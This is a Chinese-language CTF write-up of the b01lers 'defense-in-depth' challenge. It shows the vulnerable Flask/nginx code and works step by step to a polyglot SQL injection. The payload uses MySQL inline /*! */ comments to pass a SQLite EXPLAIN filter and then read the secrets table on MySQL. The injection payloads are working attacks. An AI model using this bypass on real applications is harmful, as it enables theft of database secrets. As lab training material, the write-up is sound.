利用内联注解析释差异构造多语言sql注入 -- b01lers CTF defense-in-depth
题目信息: Instead of making AI slop #7749 and applying to YC, making a security product might be a better play. Layers of defenses
// 定义一个Nginx服务器块,用于处理特定的请求
server {// 监听8888端口,接收该端口的所有请求listen 8888;// 定义服务器的名称为tungtung,客户端可以通过该名称访问服务器server_name tungtung;// 设置服务器的根目录,请求的文件将从该目录中查找root /usr/share/nginx/html;// 定义默认的索引文件,当访问目录时,将优先返回该文件index index.html;// 定义一个位置块,用于匹配以 / 开头的所有请求location / {// 将匹配到的请求转发到后端的Python服务器,地址为 http://py-server:5000/proxy_pass http://py-server:5000/;// 设置代理请求头中的Host字段为客户端请求的原始主机名proxy_set_header Host $host;// 设置代理请求头中的X-Real-IP字段为客户端的真实IP地址proxy_set_header X-Real-IP $remote_addr;// 设置代理请求头中的X-Forwarded-For字段,包含客户端的IP地址和经过的代理服务器的IP地址proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}
}
信任了 X-Forwarded-For
开个容器运行mysql
本地改一下跑服务
# 定义一个黑名单列表,包含可能用于 SQL 注入的特殊字符
BLACKLIST = ['(', ')', '-', '#', '%', '+', ';']# 定义一个处理 /info/<path:name> 路径 GET 请求的路由函数
@app.route('/info/<path:name>', methods=['GET'])
def get_user_info(name): # 检查输入的名称长度是否超过 100 个字符 if len(name) > 100: # 如果超过,返回一个包含错误信息的 JSON 响应和 403 状态码 return jsonify({"Message": "Why the long name? Are you Tung Tung Tung Tung Tung Tung Tung Sahua????"}), 403 try: # 调用 get_db 函数获取 SQLite 数据库连接 db = get_db() # 创建一个数据库游标对象 cursor = db.cursor() except Exception: # 如果出现异常,打印异常堆栈信息 print(traceback.format_exc()) # 返回一个包含错误信息的 JSON 响应和 500 状态码 return jsonify( {"Error": "Something very wrong happened, either retry or contact organizers if issue persists!"}), 500 # 验证查询是否合法,不涉及 secrets 表 # 构建 SQL 查询语句 query = f"SELECT * from users WHERE name = '{name}'" # 遍历黑名单列表,检查查询语句中是否包含黑名单字符 for item in BLACKLIST: if item in query: # 如果包含,返回一个包含警告信息的 JSON 响应和 403 状态码 return jsonify({"Message": f"Probably sus"}), 403 try: # 构建 EXPLAIN 查询计划的 SQL 语句 explain = "EXPLAIN QUERY PLAN " + query # 执行 EXPLAIN 查询计划 cursor.execute(explain) # 获取查询结果 result = cursor.fetchall() # 检查查询结果的行数是否超过 7 行 if len(result) > 7: # 如果超过,返回一个包含警告信息的 JSON 响应和 403 状态码 return jsonify({"Message": "Probably sus"}), 403 # 遍历查询结果,检查是否涉及 secrets 表 for item in result: if "secrets" in item[3]: # 如果涉及,返回一个包含警告信息的 JSON 响应和 403 状态码 return jsonify({"Message": "I see where you're going..."}), 403 except Exception as e: # 如果出现异常,打印异常堆栈信息 print(traceback.format_exc()) # 返回一个包含警告信息的 JSON 响应和 403 状态码 return jsonify({"Message": f"Probably sus"}), 403 # 关闭 SQLite 数据库游标 cursor.close() try: # 获取 MySQL 数据库连接的游标对象 cur = mysql.connection.cursor() # 执行 SQL 查询语句 cur.execute(query) # 获取查询结果的第一行 records = cur.fetchall()[0] # 关闭 MySQL 数据库游标 cur.close() # 返回查询结果的字符串表示 return str(records) except Exception as e: # 如果出现异常,打印异常堆栈信息 print(traceback.format_exc()) # 返回一个包含错误信息的 JSON 响应和 400 状态码 return jsonify({'Error': "It did not work boss!"}), 400
还有个提示 Credit to WolvSec team I take (borrow) this from them in their nearest CTF 一会我们卡住了再来看看
看起来我们得构造sqllite,和mysql都能运行的语句。
这里应该可以时间盲注,一会行不通可以试试
我们似乎可以构造,内联注释?
SELECT * from users WHERE name = ''/*!UNION SELECT flag FROM secrets*/OR ''=''
这个语句通过了sqllite,但是在mysql中错误
Traceback (most recent call last):File "C:\Users\a5rz_\Desktop\work\code\server\app.py", line 241, in get_user_infocur.execute(query)File "C:\Users\a5rz_\Desktop\work\code\.venv\Lib\site-packages\MySQLdb\cursors.py", line 179, in executeres = self._query(mogrified_query)^^^^^^^^^^^^^^^^^^^^^^^^^^^^File "C:\Users\a5rz_\Desktop\work\code\.venv\Lib\site-packages\MySQLdb\cursors.py", line 330, in _querydb.query(q)File "C:\Users\a5rz_\Desktop\work\code\.venv\Lib\site-packages\MySQLdb\connections.py", line 280, in query_mysql.connection.query(self, query)
MySQLdb.ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'OR ''=''' at line 1")
接下来我得想办法构建一个新的
-- Create database and read-only user
CREATE DATABASE IF NOT EXISTS app_db;
CREATE USER IF NOT EXISTS 'b01lers'@'%' IDENTIFIED BY 'redacted';
GRANT SELECT ON app_db.* TO 'b01lers'@'%';
FLUSH PRIVILEGES; USE app_db; -- Create users table
CREATE TABLE IF NOT EXISTS users ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, email VARCHAR(255) NOT NULL UNIQUE
) ENGINE=InnoDB; -- Create secrets table
CREATE TABLE IF NOT EXISTS secrets ( id INT AUTO_INCREMENT PRIMARY KEY, `key` VARCHAR(255) NOT NULL, value TEXT NOT NULL
) ENGINE=InnoDB; -- Insert sample data
INSERT IGNORE INTO users (name, email) VALUES ('neil', 'freshmen@purdue.eduuu'), ('gabe', 'boss@retirement.home'), ('kevin', 'frontend@kev.in'); INSERT IGNORE INTO secrets (`key`, value) VALUES ('junk', 'Wrong turn baby'), ('flag', 'bctf{tungtungtungtungtungsahua}'); -- Verify permissions
SHOW GRANTS FOR 'b01lers'@'%';
SELECT * from users WHERE name = ''/*!UNION SELECT * FROM secrets where id='flag'*/and '1'='1'
Traceback (most recent call last):File "C:\Users\a5rz_\Desktop\work\code\server\app.py", line 243, in get_user_inforecords = cur.fetchall()[0]~~~~~~~~~~~~~~^^^
IndexError: tuple index out of range
为什么没结果?
键看错了。。。
SELECT * from users WHERE name = ''/*!UNION SELECT * FROM secrets WHERE `key`='flag'*/and '1'='1'
这道题这么简单????